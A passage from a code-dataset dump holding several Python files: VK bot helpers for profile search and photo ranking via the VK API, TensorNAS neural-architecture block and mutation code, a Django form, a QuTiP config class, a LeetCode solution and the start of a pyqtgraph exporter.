requests.get(\"https://api.vk.com/method/users.get\",\n params={\n \"user_ids\": user_id,\n \"fields\": \"sex, bdate, city\",\n \"access_token\": BOT_TOKEN,\n \"v\": 5.131\n }).json()\n user_object = response[\"response\"][0]\n\n age = None\n city_id = None\n sex = None\n\n try:\n if \"bdate\" in list(user_object.keys()):\n if len(user_object['bdate'].split(\".\")) == 3:\n age = current_year - int(user_object['bdate'].split(\".\")[-1])\n\n if \"city\" in list(user_object.keys()):\n city_id = user_object['city']['id']\n\n if \"sex\" in list(user_object.keys()):\n if user_object['sex'] > 0:\n sex = user_object['sex']\n\n return {\"age\": age,\n \"city_id\": city_id,\n \"sex\": sex}\n except KeyError:\n print(\"That keys does not exist!\")\n return None, None, None\n\ndef validate_age(age):\n try:\n if 18 <= int(age) <= 99:\n return True\n else:\n return False\n except ValueError:\n return False\n\ndef get_city_id(name):\n response = requests.get(\"https://api.vk.com/method/database.getCities\",\n params={\n \"country_id\": 1,\n \"q\": name,\n \"count\": 10,\n \"access_token\": USER_TOKEN,\n \"v\": 5.131\n }).json()\n try:\n city = response['response']['items'][0]['id']\n return city\n except KeyError:\n return False\n\n\ndef get_popular_photos(user_id):\n response = requests.get(\"https://api.vk.com/method/photos.getAll\",\n params={\n \"owner_id\": user_id,\n \"extended\": 1,\n \"count\": 50,\n \"access_token\": USER_TOKEN,\n \"v\": 5.131\n }).json()['response']\n try:\n photos_count = len(response['items'])\n if photos_count >= 3:\n likes = {}\n popular_photo = \"\"\n for i in range(photos_count):\n try:\n likes_count = response['items'][i]['likes']['count']\n likes[likes_count] = f\"photo{user_id}_{response['items'][i]['id']}\"\n except KeyError:\n pass\n for x in range(3):\n try:\n popular_photo += f'{likes[max(list(likes.keys()))]},'\n likes.pop(max(list(likes.keys())))\n except ValueError:\n pass\n return popular_photo[:-1]\n else:\n return False\n except KeyError:\n return False\n\n\ndef search_profiles(user_id, users):\n while True:\n if len(users[user_id]['searched_profiles']) == 0:\n age = int(users[user_id]['data']['age'])\n offset = int(users[user_id]['offset'])\n preferred_sex = None\n if users[user_id]['data']['sex'] == 1:\n preferred_sex = 2\n elif users[user_id]['data']['sex'] == 2:\n preferred_sex = 1\n params = {\"sort\": 0,\n \"offset\": offset,\n \"count\": 30,\n \"fields\": \"bdate\",\n \"city_id\": users[user_id]['data']['city_id'],\n \"sex\": preferred_sex,\n \"status\": 6,\n \"age_from\": age - 5,\n \"age_to\": age + 5,\n \"has_photo\": 1,\n \"access_token\": USER_TOKEN,\n \"v\": 5.131}\n\n response = requests.get(f'https://api.vk.com/method/users.search', params=params).json()\n\n try:\n if response.get('response') and len(response.get('response').get('items')) > 0:\n not_closed_profiles = [person for person in response['response']['items'] if\n not person['is_closed']]\n users[user_id]['searched_profiles'] = not_closed_profiles\n users[user_id]['offset'] = offset + 30\n except KeyError:\n print(\"Error!\")\n\n if len(users[user_id]['searched_profiles']) > 0:\n try:\n viewed_users = profiles.execute(\"SELECT showed_profile_id FROM main WHERE user_id = ?\", (user_id,)).fetchall()\n s_profiles = users[user_id]['searched_profiles'][0]\n searched_id = s_profiles['id']\n if (searched_id,) not in viewed_users:\n has_photos = get_popular_photos(searched_id)\n if has_photos:\n s_age = current_year - int(s_profiles['bdate'].split(\".\")[-1])\n profiles.execute(\"INSERT INTO main(user_id, showed_profile_id) VALUES (?, ?)\", (user_id, searched_id))\n profiles_db.commit()\n return {\"page_link\": f\"vk.com/id{searched_id}\",\n \"name\": s_profiles['first_name'],\n \"age\": s_age,\n \"photos\": has_photos}\n users[user_id]['searched_profiles'].pop(0)\n except Exception as error:\n print(\"An error occurred while accessing the database or other:\", error)\n\n\n\n","repo_name":"Stepanowegor/VKBot","sub_path":"utils/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":5843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72398643307","text":"import random\nimport re\nfrom abc import ABC, abstractmethod\nfrom enum import Enum, auto\n\nfrom TensorNAS.Core.Mutate import mutate_enum_i\n\n\ndef get_block_from_JSON(json_dict, parent_block=None):\n class_name = json_dict[\"class_name\"]\n\n from TensorNAS.Tools.JSONImportExport import GetBlockMod\n\n b_class = GetBlockMod(class_name).Block\n\n import inspect\n\n class_args = inspect.getfullargspec(b_class.__init__).args\n\n class_args = [\n json_dict[key] if key != \"parent_block\" else parent_block\n for key in class_args[1:]\n ]\n\n blk = b_class(*class_args)\n blk.input_blocks = []\n blk.middle_blocks = []\n blk.output_blocks = []\n blk = _import_subblocks_from_json(blk, json_dict)\n\n return blk\n\n\ndef _import_subblocks_from_json(blk, json_dict):\n for i, b in enumerate(json_dict[\"input_blocks\"]):\n blk.input_blocks.append(get_block_from_JSON(b, blk))\n\n for i, b in enumerate(json_dict[\"middle_blocks\"]):\n blk.middle_blocks.append(get_block_from_JSON(b, blk))\n\n for i, b in enumerate(json_dict[\"output_blocks\"]):\n blk.output_blocks.append(get_block_from_JSON(b, blk))\n\n return blk\n\n\nclass MutationTable:\n def __init__(self, cls_obj):\n # Class name for debugging purposes\n self.class_name = str(cls_obj.__class__) # .__bases__\n self.mutations = {}\n\n if hasattr(cls_obj, \"mutation_funcs\"):\n self.mutation_funs = cls_obj.mutation_funcs\n for func in self.mutation_funs:\n self.mutations[func] = [0, 0]\n\n def get_mutation_table_ref(self, mutation):\n if not mutation in self.mutations:\n self.mutations[mutation] = [0, 0]\n\n ret = self.mutations[mutation]\n\n return ret\n\n def get_mutation_probability(self, function_name, index=0):\n \"\"\"\n Choosing the Q value is then done by taking the tanh of each Q, normalizing and shifting to fit between\n 0 and 1, thus, P = 0.5 * tanh(Q) + 0.5\n \"\"\"\n from numpy import tanh as th\n\n q = self.mutations.get(function_name, (0, 0))[index]\n\n ret = 0.5 * th(q) + 0.5\n\n return ret\n\n\ndef add_mutation_table(func):\n \"\"\"\n Function decorator used to decorate the block init function to create a PER-CLASS mutation table\n \"\"\"\n\n def wrapper(self, input_shape, parent_block, args=None, **kwargs):\n func(self, input_shape, parent_block, args, **kwargs)\n if not hasattr(self.__class__, \"mutation_table\"):\n setattr(self.__class__, \"mutation_table\", MutationTable(self))\n\n return wrapper\n\n\nclass BaseBlock(ABC):\n \"\"\"\n An abstract class that all model blocks are derived from. Thus all model blocks, regardless of their depth within\n the model architecture binary tree they must implement all of the abstract methods defined within this class.\n\n Required properties:\n - SUB_BLOCK_TYPES\n\n Required (abstract) methods:\n - Generate random sub block\n\n Optional methods:\n - Generate constrained output sub blocks\n - Generate constrained input sub blocks\n - Mutate self\n - Get keras model\n - Print self\n - Output shape\n - Check new layer type\n - Repair self\n\n Should not be overridden:\n - Repair\n - Mutate\n - __init__\n \"\"\"\n\n \"\"\"\n A property to specify a minimum block count, is not required by each sub-class.\n \"\"\"\n MIN_SUB_BLOCKS = 0\n MAX_SUB_BLOCKS = 0\n\n @property\n @classmethod\n @abstractmethod\n class SubBlocks(Enum):\n \"\"\"The enum type storing all the possible middle sub-blocks is required to be passed to the child class as it is\n used during random selection of sub-block blocks\n \"\"\"\n\n NONE = auto()\n\n @add_mutation_table\n def __init__(self, input_shape, parent_block, args=None, **kwargs):\n \"\"\"\n The init sequence of the Block class should always be called at the end of a subclass's __init__, via\n super().__init__ if a subclass is to implement its own __init__ method.\n\n This can be required if the block needs to take in additional parameters when being created, eg. a classification\n block needs to know the number of output classes that it must classify. Thus, such an implementation will\n read in its required init arguments and then invoke the Block.__init__ such that the defined Block init\n sequence is performed.\n \"\"\"\n self.input_shape = input_shape\n self.parent_block = parent_block\n self.args_enum = self._get_args_enum()\n self.args = args\n\n if args:\n if isinstance(args, list):\n args = dict(args)\n new_dict = {}\n\n for key, val in args.items():\n if isinstance(key, str):\n new_dict[\n [i for i in self.args_enum if i.name == key][0]\n ] = args[key]\n args = new_dict\n\n try:\n self.mutation_funcs = [\n func\n for func in dir(self)\n if callable(getattr(self, func))\n and re.search(r\"^_mutate(?!_self)\", func)\n ]\n\n except Exception as e:\n raise e\n\n self.input_blocks = []\n self.middle_blocks = []\n self.output_blocks = []\n\n if args:\n ib = self.generate_constrained_input_sub_blocks(\n input_shape=input_shape, args=args\n )\n else:\n ib = self.generate_constrained_input_sub_blocks(input_shape=input_shape)\n\n if ib:\n self.input_blocks.extend(ib)\n\n if args:\n mb = self.generate_constrained_middle_sub_blocks(\n input_shape=self._get_cur_output_shape(), args=args\n )\n else:\n mb = self.generate_constrained_middle_sub_blocks(\n input_shape=self._get_cur_output_shape()\n )\n\n if mb:\n self.middle_blocks.extend(mb)\n\n if self.MAX_SUB_BLOCKS:\n self._generate_sub_blocks()\n\n if args:\n ob = self.generate_constrained_output_sub_blocks(\n input_shape=self._get_cur_output_shape(), args=args\n )\n else:\n ob = self.generate_constrained_output_sub_blocks(\n input_shape=self._get_cur_output_shape()\n )\n\n if ob:\n self.output_blocks.extend(ob)\n\n def _invoke_random_mutation_function(\n self,\n mutation_goal_index=0,\n mutate_with_reinforcement_learning=True,\n goal_attainment=True,\n verbose=False,\n **kwargs\n ):\n if self.mutation_funcs:\n if mutate_with_reinforcement_learning:\n if goal_attainment:\n weights = [\n self.mutation_table.get_mutation_probability(\n function_name=func, index=mutation_goal_index\n )\n for func in self.mutation_funcs\n ]\n else:\n # Just use a single mutation table for all mutations, ie. no goals\n weights = [\n self.mutation_table.get_mutation_probability(\n function_name=func, index=0\n )\n for func in self.mutation_funcs\n ]\n try:\n func_name = random.choices(self.mutation_funcs, weights=weights)[0]\n except Exception as e:\n print(e)\n else:\n func_name = random.choice(self.mutation_funcs)\n mutate_eval = \"self.\" + func_name\n if verbose == True:\n print(\"[MUTATE] invoking `{}`\".format(mutate_eval))\n return eval(mutate_eval)()\n return \"Null\", None\n\n def mutate_self(\n self,\n mutation_goal_index=0,\n mutate_with_reinforcement_learning=True,\n goal_attainment=True,\n verbose=False,\n ):\n \"\"\"\n An optional function that allows for the block to mutate itself during mutation, by default this function\n simply invokes mutation of a random mutation function and if that is not possible then\n random mutation of a sub block by invoking mutate_subblock\n \"\"\"\n if len(self.mutation_funcs) > 0:\n return self._invoke_random_mutation_function(\n mutate_with_reinforcement_learning=mutate_with_reinforcement_learning,\n mutation_goal_index=mutation_goal_index,\n goal_attainment=goal_attainment,\n verbose=verbose,\n )\n\n def mutate(\n self,\n mutation_goal_index=0,\n mutation_method=\"EQUALLY\",\n mutation_probability=0.0,\n mutate_with_reinforcement_learning=True,\n goal_attainment=True,\n verbose=False,\n ):\n \"\"\"Similar to NetworkLayer objects, block mutation is a randomized call to any methods prexied with `_mutate`,\n this includes the defaul `mutate_subblock`.`\n\n The implementation of a block should as such then present the possible mutation possibilities as a collection\n of `_mutate` functions. Generally mutation will call the default `mutate_subblock` method to invoke mutation\n in a randomly selected sub-block.\n\n If specific mutation operations are thus required they can be implemented. Among the default mutation functions\n is the `mutate_self` function which directly mutates the block instead of calling mutate in a sub-block.\n The function by default does nothing and returns False, in such a case another mutate function is called.\n If one wishes to implement `mutate_self` then it should return True to stop the subsequent\n re-invoking of mutate.\n\n The probability of mutating the block itself instead of it's sub-block is passed in via mutation_probability.\n \"\"\"\n\n if mutation_method == \"EQUALLY\":\n block = self._get_random_sub_block_inc_self()\n ret = block.mutate_self(\n mutation_goal_index=mutation_goal_index,\n goal_attainment=goal_attainment,\n verbose=verbose,\n )\n elif mutation_method == \"PROBABILITY\":\n prob = random.random()\n if (prob < mutation_probability) and (len(self.middle_blocks) > 0):\n # Mutate subblock\n if len(self.middle_blocks):\n choice_index = random.choice(range(len(self.middle_blocks)))\n if verbose:\n print(\n \"[MUTATE] middle block #{} of type {}\".format(\n choice_index, type(self.middle_blocks[choice_index])\n )\n )\n ret = self.middle_blocks[choice_index].mutate(\n mutation_goal_index=mutation_goal_index,\n mutation_method=mutation_method,\n mutation_probability=mutation_probability,\n mutate_with_reinforcement_learning=mutate_with_reinforcement_learning,\n goal_attainment=goal_attainment,\n verbose=verbose,\n )\n # return format of all mutate functions, except most bottom level mutations, should be\n # function name, list of mutation table references, mutation note from bottom most level\n ret = tuple([\"_mutate_subblock\"] + list(ret[1:]))\n else:\n ret = self.mutate_self(\n mutation_goal_index=mutation_goal_index,\n mutate_with_reinforcement_learning=mutate_with_reinforcement_learning,\n goal_attainment=goal_attainment,\n verbose=verbose,\n )\n elif mutation_method == \"ALL\":\n ret = self._get_all_mutation_functions_of_children()[\n random.choice(range(len(self.middle_blocks)))\n ]()\n\n self.reset_ba_input_shapes()\n\n # Add the invoked mutation function to the mutation table by getting a reference to the operation in the\n # mutation table such that it can be populated with accuracy and param count once the mutation model is\n # evaluated\n mutation_function = ret[0]\n mutation_note = ret[1]\n\n # If this block is at the bottom of the block architecture hierarchy we need to create the list of mutation\n # table references to return\n mutation_table_ref = self.mutation_table.get_mutation_table_ref(\n mutation_function\n )\n if len(ret) < 3:\n table_ref_list = [mutation_table_ref]\n\n else:\n table_ref_list = ret[2]\n try:\n table_ref_list.append(mutation_table_ref)\n except Exception as e:\n print(e)\n\n # Return format is 'list of mutation table references', 'mutation note for logging'\n return mutation_function, mutation_note, table_ref_list\n\n def _get_all_mutation_functions_of_children(self):\n ret = []\n\n for func in self.mutation_funcs:\n ret.append(eval(\"self.{}\".format(func)))\n\n for block in self.input_blocks + self.middle_blocks + self.output_blocks:\n ret += block._get_all_mutation_functions_of_children()\n\n return ret\n\n def generate_constrained_output_sub_blocks(self, input_shape, args=None):\n \"\"\"This method is called after the sub-blocks have been generated to generate the required blocks which are\n appended to the output_blocks list. An example of this would be the placement\n of a classification layer at the end of a model.\n\n @return Must return a list of created sub block objects\n \"\"\"\n return []\n\n def generate_constrained_input_sub_blocks(self, input_shape, args=None):\n \"\"\"This method is called before the sub-blocks have been generated to generate the required blocks which are\n appended to the input_blocks list. An example of this would be the placement\n of a convolution layer at the beginning of a model.\n\n @return Must return a list of created sub block objects\n \"\"\"\n return []\n\n def generate_constrained_middle_sub_blocks(self, input_shape, args=None):\n \"\"\"\n Different to constrained input and output sub blocks, mid sub blocks are up for mutation and can be modified.\n This function helps to generate a specific set of blocks originally instead of calling generate_sub_block\n which returns a random block.\n \"\"\"\n return []\n\n def generate_sub_block(self, input_shape, subblock_type, args=None):\n \"\"\"This method appends a randomly selected possible sub-block to the classes middle_blocks list, The block type is\n passed in as layer_type which is randomly selected from the provided enum SUB_BLOCK_TYPES which stores the\n possible sub block types. This function is responsible for instantiating each of these sub blocks if required.\n \"\"\"\n return []\n\n def check_next_layer_type(self, prev_layer_type, next_layer_type):\n \"\"\"\n This function is called when the next layer type is randomly generated, inside the function the user can perform\n checks to check if the next layer type is allowed, more likely will be checks to see if the next layer type is\n invalid, eg. two sequential flatten Layers.\n\n It should be noted that the previous layer is given as a SupportedLayer, this is an enum value generated by the\n TensorNAS Framework.Layers package by scanning the provided modules in the package. The next layer's type is given in\n terms of the possible sub-block types for the current block. As such you must make an apples to oranges\n comparison.\n \"\"\"\n return True\n\n def _check_layer_types(self, next_layer_type):\n \"\"\"\n An intermediate function that checks if there is a previous layer to be passed to the check_next_layer_type\n function.\n \"\"\"\n if len(self.middle_blocks):\n return self.check_next_layer_type(\n type(self.middle_blocks[-1]), next_layer_type\n )\n return True\n\n def refresh_io_shapes(self, input_shape=None):\n \"\"\"\n Recursive function that walks a block architecture, refreshing the input and output shapes of the architecture.\n\n @return True is no blocks were invalid\n \"\"\"\n sbs = self.input_blocks + self.middle_blocks + self.output_blocks\n if len(sbs):\n if not input_shape:\n input_shape = self.get_input_shape()\n out_shape = input_shape\n for sb in sbs:\n sb.set_input_shape(out_shape)\n if sb.get_sb_count():\n out_shape = sb.refresh_io_shapes(sb.input_shape)\n else:\n out_shape = sb.get_output_shape()\n sb.set_output_shape(out_shape)\n self.set_output_shape(self.get_output_shape())\n return out_shape\n return self.get_output_shape()\n\n def reset_ba_input_shapes(self):\n \"\"\"\n The block architecture root is retrieved and the sub-block inputs and outputs are processed and repaired.\n\n @return True if the change was successful, ie. no blocks became invalid\n \"\"\"\n ba = self.get_block_architecture()\n ba.refresh_io_shapes(input_shape=ba.get_input_shape())\n return False\n\n def get_block_architecture(self):\n block = self\n while block.parent_block:\n block = block.parent_block\n\n return block\n\n def _generate_sub_blocks(self):\n \"\"\"Subclasses of Block should not populate their sub-block lists but instead implement this function which\n will handle this. Generated blocks that are not valid\n \"\"\"\n mb_count = len(self.middle_blocks)\n if self.MAX_SUB_BLOCKS and (self.MAX_SUB_BLOCKS > mb_count):\n rng = random.choice(\n range(\n self.MIN_SUB_BLOCKS - mb_count, self.MAX_SUB_BLOCKS - mb_count + 1\n )\n )\n for i in range(rng):\n out_shape = self._get_cur_output_shape()\n blocks = self.generate_sub_block(\n out_shape,\n self._get_random_sub_block_type(),\n )\n if blocks:\n self.middle_blocks.extend(blocks)\n\n def get_output_shape(self):\n \"\"\"\n Returns the output shape of the block\n \"\"\"\n if len(self.input_blocks + self.middle_blocks + self.output_blocks) >= 1:\n return (self.input_blocks + self.middle_blocks + self.output_blocks)[\n -1\n ].get_output_shape()\n else:\n return self.input_shape\n\n def set_output_shape(self, output_shape):\n self.output_shape = output_shape\n\n def get_input_shape(self):\n \"\"\"\n Returns in the input shape of the block\n \"\"\"\n return self.input_shape\n\n def set_input_shape(self, input_shape):\n self.input_shape = input_shape\n\n def _get_random_sub_block_type(self):\n \"\"\"This method returns a random enum value of the block's possible sub-blocks\"\"\"\n if self.SubBlocks:\n while True:\n next_type = mutate_enum_i(self.SubBlocks)\n if self._check_layer_types(next_type):\n return next_type\n else:\n return None\n\n def get_keras_layers(self, input_tensor):\n \"\"\"By default this method simply calls this method in all child blocks, it should be overridden for layer\n blocks, ie. blocks that are leaves within the block hierarchy and contain a keras layer, such blocks should\n return an appropriately instantiated keras layer object\n\n TensorNAS Framework uses the Tensorflow functional API so each keras layer requires an input tensor, this shuold be\n passed from the previous layer.\n \"\"\"\n tmp = input_tensor\n for sb in self.input_blocks + self.middle_blocks + self.output_blocks:\n tmp = sb.get_keras_layers(tmp)\n\n return tmp\n\n def _get_cur_output_shape(self):\n if len(self.output_blocks):\n ret = self.output_blocks[-1].get_output_shape()\n elif len(self.middle_blocks):\n ret = self.middle_blocks[-1].get_output_shape()\n elif len(self.input_blocks):\n ret = self.input_blocks[-1].get_output_shape()\n else:\n ret = self.get_input_shape()\n try:\n assert ret, \"Output shape is None\"\n return ret\n except Exception as e:\n exit(e)\n\n def __str__(self):\n ret = \"\"\n for sb in self.input_blocks + self.middle_blocks + self.output_blocks:\n ret += str(sb)\n return ret\n\n def print(self):\n \"\"\"\n Function useful for print debugging, the function by default invokes print self and then invokes printing in all\n child nodes. If you wish to print all children nodes then only override print_self and not print_self\n \"\"\"\n self.print_self()\n print(str(self))\n\n def print_self(self):\n pass\n\n def _get_name(self):\n if hasattr(self, \"layer\"):\n return self.layer.__module__.split(\".\")[-1]\n return self.__module__.split(\".\")[-1]\n\n def get_ascii_tree(self):\n \"\"\"\n Returns an ASCII tree representation of the block heirarchy starting from the current block.\n \"\"\"\n from TensorNAS.Tools import stack_str_blocks\n from TensorNAS.Tools import block_width\n\n if not self.parent_block:\n name = \"ROOT\"\n else:\n name = self._get_name()\n\n io_str = \" {}->{}\".format(self.get_input_shape(), self.get_output_shape())\n name = \"{\" + name + io_str + \"}\"\n\n if not len(self.input_blocks + self.middle_blocks + self.output_blocks):\n return name\n\n child_strs = (\n [\" |\"]\n + [\n child.get_ascii_tree()\n for child in self.input_blocks + self.middle_blocks + self.output_blocks\n ]\n + [\"| \"]\n )\n child_widths = [block_width(s) for s in child_strs]\n\n display_width = max(\n len(name),\n sum(child_widths) + len(child_widths) - 1,\n )\n\n child_midpoints = []\n child_end = 0\n for width in child_widths:\n child_midpoints.append(child_end + (width // 2))\n child_end += width + 1\n\n brace_builder = []\n for i in range(display_width):\n if i < child_midpoints[0] or i > child_midpoints[-1]:\n brace_builder.append(\" \")\n elif i in child_midpoints:\n brace_builder.append(\"+\")\n else:\n brace_builder.append(\"-\")\n brace = \"\".join(brace_builder)\n\n name_str = \"{:^{}}\".format(name, display_width)\n below = stack_str_blocks(child_strs)\n\n return name_str + \"\\n\" + brace + \"\\n\" + below\n\n def get_index_in_parent(self):\n if self.parent_block:\n return self.parent_block.get_block_index(self)\n return None\n\n def get_middle_index_in_parent(self):\n if self.parent_block:\n return self.parent_block.get_block_index_middle(self)\n return None\n\n def get_block_at_index(self, index):\n if len(self.input_blocks + self.middle_blocks + self.output_blocks) > (\n index + 1\n ):\n return None\n return (self.input_blocks + self.middle_blocks + self.output_blocks)[index]\n\n def get_block_index(self, block):\n for index, sb in enumerate(\n self.input_blocks + self.middle_blocks + self.output_blocks\n ):\n if block == sb:\n return index\n return None\n\n def _get_random_sub_block_inc_self(self):\n blocks = self._get_all_sub_blocks_inc_self()\n\n return random.choice(blocks)\n\n def _get_all_sub_blocks_inc_self(self):\n blocks = [self]\n\n for block in self.input_blocks + self.middle_blocks + self.output_blocks:\n from TensorNAS.Core.Layer import Layer\n\n if isinstance(block, Layer):\n return blocks\n else:\n blocks += block._get_all_sub_blocks_inc_self()\n\n return blocks\n\n def get_block_architecture(self):\n parent = self\n try:\n while parent.parent_block != None:\n parent = parent.parent_block\n except Exception as e:\n raise e\n\n return parent\n\n def get_block_index_middle(self, block):\n for index, sb in enumerate(self.middle_blocks):\n if block == sb:\n return index\n return None\n\n def set_block_at_index(self, index, block):\n if self.input_blocks:\n if index < len(self.input_blocks):\n self.input_blocks[index] = block\n return\n else:\n index -= len(self.input_blocks)\n\n if self.middle_blocks:\n if index < len(self.middle_blocks):\n self.middle_blocks[index] = block\n return\n else:\n index -= len(self.middle_blocks)\n\n if self.output_blocks:\n if index < len(self.output_blocks):\n self.output_blocks[index] = block\n\n def _get_random_subblock_class(self):\n return random.choice([e for e in self.SubBlocks if isinstance(e.value, int)])\n\n def get_sb_count(self):\n return len(self.input_blocks + self.middle_blocks + self.output_blocks)\n\n def _args_to_JSON(self):\n if self.args:\n args = dict(self.args)\n\n ret = []\n\n for arg in args:\n ret += [[arg.name, value] for key, value in args.items() if arg == key]\n\n return ret\n\n return []\n\n def get_JSON_dict(self):\n json_dict = {\n \"class_name\": self.__module__.split(\".\")[-1],\n \"input_shape\": self.input_shape,\n \"mutation_funcs\": self.mutation_funcs,\n \"args\": self._args_to_JSON(),\n }\n\n ib_json = []\n for block in self.input_blocks:\n ib_json.append(block.toJSON())\n\n mb_json = []\n for block in self.middle_blocks:\n mb_json.append(block.toJSON())\n\n ob_json = []\n for block in self.output_blocks:\n ob_json.append(block.toJSON())\n\n json_dict[\"input_blocks\"] = ib_json\n json_dict[\"middle_blocks\"] = mb_json\n json_dict[\"output_blocks\"] = ob_json\n\n return json_dict\n\n def subclass_get_JSON(self, json_dict):\n ignored_args = [\n \"parent_block\",\n \"opt\",\n \"model\",\n \"args_enum\",\n \"inputshape\",\n \"outputshape\",\n \"mutations\",\n \"optimization_goal\",\n ]\n\n for key in self.__dict__.keys():\n if key not in json_dict.keys():\n if (\n key not in ignored_args\n ): # We want to ignore these memory references as BA will be reconstructed\n json_dict[key] = self.__dict__[key]\n\n return json_dict\n\n def toJSON(self):\n json_dict = self.get_JSON_dict()\n\n json_dict = self.subclass_get_JSON(json_dict)\n\n return json_dict\n\n @classmethod\n def _get_module(cls):\n return cls.__module__\n\n @classmethod\n def _get_m_name(cls):\n ret = re.findall(r\"^(.*)\\.([a-zA-Z0-9]*$)\", cls._get_module())\n if len(ret):\n return ret[0]\n else:\n return None\n\n @classmethod\n def _get_parent_module(cls):\n ret = cls._get_m_name()\n if ret:\n if len(ret) >= 2:\n return ret[0]\n\n def get_args_enum(self):\n return self.args_enum\n\n @classmethod\n def _get_args_enum(cls):\n from importlib import import_module\n\n try:\n args = import_module(cls._get_module()).Args\n return args\n except Exception:\n try:\n args = import_module(cls._get_parent_module()).Args\n return args\n except Exception as e:\n return None\n\n\nfrom TensorNAS.Core.LayerMutations import layer_mutation\n\n\nclass Block(BaseBlock):\n @layer_mutation\n def _mutate_drop_subblock(self, verbose=False):\n \"\"\"\n Randomly drops a middle sub-block\n \"\"\"\n\n if len(self.middle_blocks):\n choice_index = random.choice(range(len(self.middle_blocks)))\n block_type = type(self.middle_blocks[choice_index])\n del self.middle_blocks[choice_index]\n ret = \"Removed middle block #{} of type {}\".format(choice_index, block_type)\n if verbose == True:\n print(ret)\n self.reset_ba_input_shapes()\n return ret\n\n return \"No middle blocks to drop\"\n\n @layer_mutation\n def _mutate_add_subblock(self, verbose=False):\n \"\"\"\n Randomly adds a sub-block from the provided list of valid sub-blocks\n \"\"\"\n if len(self.middle_blocks):\n index = random.choice(range(len(self.middle_blocks) + 1))\n else:\n index = 0\n\n if index > 0:\n input_shape = self.middle_blocks[index - 1].get_output_shape()\n else:\n input_shape = self.input_shape\n\n new_block_class = self._get_random_subblock_class()\n new_blocks = self.generate_sub_block(input_shape, new_block_class)\n\n if len(new_blocks):\n self.middle_blocks.insert(index, new_blocks[0])\n\n ret = \"Inserted a block of type: {} at index {}\".format(new_block_class, index)\n\n if verbose == True:\n print(ret)\n\n self.reset_ba_input_shapes()\n\n return ret\n","repo_name":"alxhoff/TensorNAS","sub_path":"Core/Block.py","file_name":"Block.py","file_ext":"py","file_size_in_byte":30195,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"15577086109","text":"from django import forms\nfrom .models import *\n\n\nclass AddPostForm(forms.ModelForm):\n \n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['cat'].empty_label = \"Выберите категорию\"\n\n class Meta:\n model = Post\n fields = ['title', 'content', 'is_published', 'cat']\n widgets = {\n 'title': forms.TextInput(attrs={'class': 'text-input'}),\n 'content': forms.Textarea(attrs={'class': 'post-text-area'}),\n 'user': forms.HiddenInput(attrs={'class': None})\n }","repo_name":"Gartur1337/django-pet-project","sub_path":"site_master/mysite/post/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9863964509","text":"class Odeconfig():\n\n def __init__(self):\n\n self.cgen_num = 0\n\n self.reset()\n\n def reset(self):\n\n # General stuff\n self.tlist = None # evaluations times\n self.ntraj = None # number / list of trajectories\n self.options = None # options for odesolvers\n self.norm_tol = None # tolerance for wavefunction norm\n self.norm_steps = None # max. number of steps to take in finding\n # wavefunction norm within tolerance norm_tol.\n # Initial state stuff\n self.psi0 = None # initial state\n self.psi0_dims = None # initial state dims\n self.psi0_shape = None # initial state shape\n\n # flags for setting time-dependence, collapse ops, and number of times\n # codegen has been run\n self.cflag = 0 # Flag signaling collapse operators\n self.tflag = 0 # Flag signaling time-dependent problem\n\n # time-dependent (TD) function stuff\n self.tdfunc = None # Placeholder for TD RHS function.\n self.tdname = None # Name of td .pyx file\n self.colspmv = None # Placeholder for TD col-spmv function.\n self.colexpect = None # Placeholder for TD col_expect function.\n self.string = None # Holds string of variables to be passed onto\n # time-depdendent ODE solver.\n\n self.soft_reset()\n\n def soft_reset(self):\n\n # Hamiltonian stuff\n self.h_td_inds = [] # indicies of time-dependent Hamiltonian operators\n self.h_data = None # List of sparse matrix data\n self.h_ind = None # List of sparse matrix indices\n self.h_ptr = None # List of sparse matrix ptrs\n\n # Expectation operator stuff\n self.e_num = 0 # number of expect ops\n self.e_ops_data = [] # expect op data\n self.e_ops_ind = [] # expect op indices\n self.e_ops_ptr = [] # expect op indptrs\n self.e_ops_isherm = [] # expect op isherm\n\n # Collapse operator stuff\n self.c_num = 0 # number of collapse ops\n self.c_const_inds = [] # indicies of constant collapse operators\n self.c_td_inds = [] # indicies of time-dependent collapse operators\n self.c_ops_data = [] # collapse op data\n self.c_ops_ind = [] # collapse op indices\n self.c_ops_ptr = [] # collapse op indptrs\n self.c_args = [] # store args for time-dependent collapse\n # functions\n\n # Norm collapse operator stuff\n self.n_ops_data = [] # norm collapse op data\n self.n_ops_ind = [] # norm collapse op indices\n self.n_ops_ptr = [] # norm collapse op indptrs\n\n # holds executable strings for time-dependent collapse evaluation\n self.col_expect_code = None\n self.col_spmv_code = None\n\n # hold stuff for function list based time dependence\n self.h_td_inds = []\n self.h_td_data = []\n self.h_td_ind = []\n self.h_td_ptr = []\n self.h_funcs = None\n self.h_func_args = None\n self.c_funcs = None\n self.c_func_args = None\n\n#\n# create a global instance of the Odeconfig class\n#\nodeconfig = Odeconfig()\n","repo_name":"silky/qutip","sub_path":"qutip/odeconfig.py","file_name":"odeconfig.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"26283953158","text":"class Solution(object):\n def removeElement(self, nums, val):\n \"\"\"\n :type nums: List[int]\n :type val: int\n :rtype: int\n \"\"\"\n counter = 0\n while counter < len(nums):\n if nums[counter] == val:\n del nums[counter]\n counter -=1\n counter +=1\n return len(nums)\n","repo_name":"humanalgorithm/leetcode_solutions","sub_path":"remove-element/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25389334474","text":"from pyqtgraph.exporters.ImageExporter import USE_PYSIDE, QtGui, ImageExporter\nII = ImageExporter\n\nclass ImageExporter(II):\n #ADDED\n @staticmethod\n def getSupportedImageFormats():\n if USE_PYSIDE:\n filter = [\"*.\"+str(f) for f in QtGui.QImageWriter.supportedImageFormats()]\n else:\n filter = [\"*.\"+bytes(f).decode('utf-8') for f in QtGui.QImageWriter.supportedImageFormats()]\n preferred = ['*.png', '*.tif', '*.jpg']\n for p in preferred[::-1]:\n if p in filter:\n 